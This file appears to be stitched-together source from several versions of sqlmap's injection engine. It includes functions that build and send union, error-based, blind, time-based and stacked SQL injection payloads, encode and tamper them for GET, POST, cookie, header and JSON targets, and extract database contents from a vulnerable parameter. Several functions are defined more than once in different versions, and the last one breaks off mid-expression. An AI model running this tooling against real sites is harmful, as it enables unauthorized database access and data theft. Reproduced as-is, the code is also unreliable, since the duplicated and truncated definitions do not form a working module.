def goError(expression, suppressOutput=False, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error-based SQL injection vulnerability on the affected parameter. """ result = None if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: return direct(expression), None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: result = resume(expression, None) if not result: result = errorUse(expression, returnPayload) if not returnPayload: dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() return result
def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: value = direct(expression) else: expression = cleanQuery(expression) expression = expandAsteriskForColumns(expression) value = None expression = expression.replace("DISTINCT ", "") if error and conf.errorTest: value = goError(expression) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through error SQL injection " warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition is not None else "blind") logger.warn(warnMsg) if inband and kb.unionPosition is not None and not value: value = __goInband(expression, expected, sort, resumeValue, unpack, dump) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through inband SQL injection " warnMsg += "technique, sqlmap is going blind" logger.warn(warnMsg) oldParamFalseCond = kb.unionFalseCond oldParamNegative = kb.unionNegative kb.unionFalseCond = False kb.unionNegative = False if blind and not value: value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) kb.unionFalseCond = oldParamFalseCond kb.unionNegative = oldParamNegative if value and isinstance(value, basestring): value = value.strip() if suppressOutput: conf.verbose = popValue() return value
def goStacked(expression, silent=False): kb.technique = PAYLOAD.TECHNIQUE.STACKED expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True)
def goStacked(expression, silent=False): expression = cleanQuery(expression) if conf.direct: return direct(expression), None comment = queries[kb.dbms].comment.query query = agent.prefixQuery("; %s" % expression) query = agent.suffixQuery("%s;%s" % (query, comment)) debugMsg = "query: %s" % query logger.debug(debugMsg) payload = agent.payload(newValue=query) page, _ = Request.queryPage(payload, content=True, silent=silent) return payload, page
def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: kb.technique = PAYLOAD.TECHNIQUE.STACKED else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): kb.technique = technique break expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)): payload = urlencode(payload, '%', False, True) if not place in (PLACE.POST, PLACE.CUSTOM_POST) and conf.skipUrlEncode else payload value = agent.replacePayload(value, payload) elif place == PLACE.SOAP: # payloads in SOAP should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") value = agent.replacePayload(value, payload) if place: value = agent.removePayloadDelimiters(value) if place == PLACE.COOKIE and conf.cookieUrlencode: value = urlEncodeCookieValues(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value if PLACE.SOAP in conf.parameters: post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]: if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or "&" variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) evaluateCode("%s='%s'" % (name, value), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) if '%s=' % name in (get or ""): get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) elif '%s=' % name in (post or ""): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif post: post += "%s%s=%s" % (delimiter, name, value) else: get += "%s%s=%s" % (delimiter, name, value) get = urlencode(get, limit=True) if post and place not in (PLACE.POST, PLACE.SOAP, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif not conf.skipUrlEncode and place not in (PLACE.SOAP,): post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = False warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(r"max.+connections", page or "", re.I) is not None kb.permissionFlag = re.search(r"(command|permission|access)\s*(was|is)?\s*denied", page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def queryPage( value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, ): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = dict(conf.httpHeaders) contentType = max( headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys() ) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace(">", ">").replace("<", "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = ( payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') ) if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = ( payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') ) value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if ( place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode ): payload = urlencode(payload, "%", False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(" "), " "): if splitter in payload: prefix, suffix = ( ("*/", "/*") if splitter == " " else (urlencode(_) for _ in ("*/", "/*")) ) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1], ) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix, ) payload = "".join(parts) for splitter in (urlencode(","), ","): payload = payload.replace( splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name")) ) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = ( conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value ) post = post.replace(ASTERISK_MARKER, "*") if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: auxHeaders[value.split(",")[0]] = value.split(",", 1)[1] if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub( "%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString, ) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} for item in filter(None, (get, post if not kb.postHint else None)): for part in item.split(delimiter): if "=" in part: name, value = part.split("=", 1) value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus)) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if "=" in part: name, value = part.split("=", 1) value = urldecode(value, convall=True) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = unicode(value) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) if re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif kb.postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X") warnMsg += "larger statistical model, please wait" dataToStdout(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) dataToStdout(".") dataToStdout("\n") elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "errors " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage( url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host ) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ), ) if headers: if ( kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers ): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: pageLength = int( headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find("/") + 1 :] ) kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare, ) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IDS/IPS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage( url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True, ) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return ( comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength), ) else: return comparison(page, headers, code, getRatioValue, pageLength)
def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: if expected == EXPECTED.BOOL: value = direct(forgeCaseExpression) else: value = direct(expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False if query and not 'COUNT(*)' in query: query = query.replace("DISTINCT ", "") count = 0 if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION if expected == EXPECTED.BOOL: value = __goInband(forgeCaseExpression, expected, unpack, dump) else: value = __goInband(query, expected, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if expected == EXPECTED.BOOL: value = __goError(forgeCaseExpression, expected, dump) else: value = __goError(query, expected, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and not expected and kb.injection.data[ 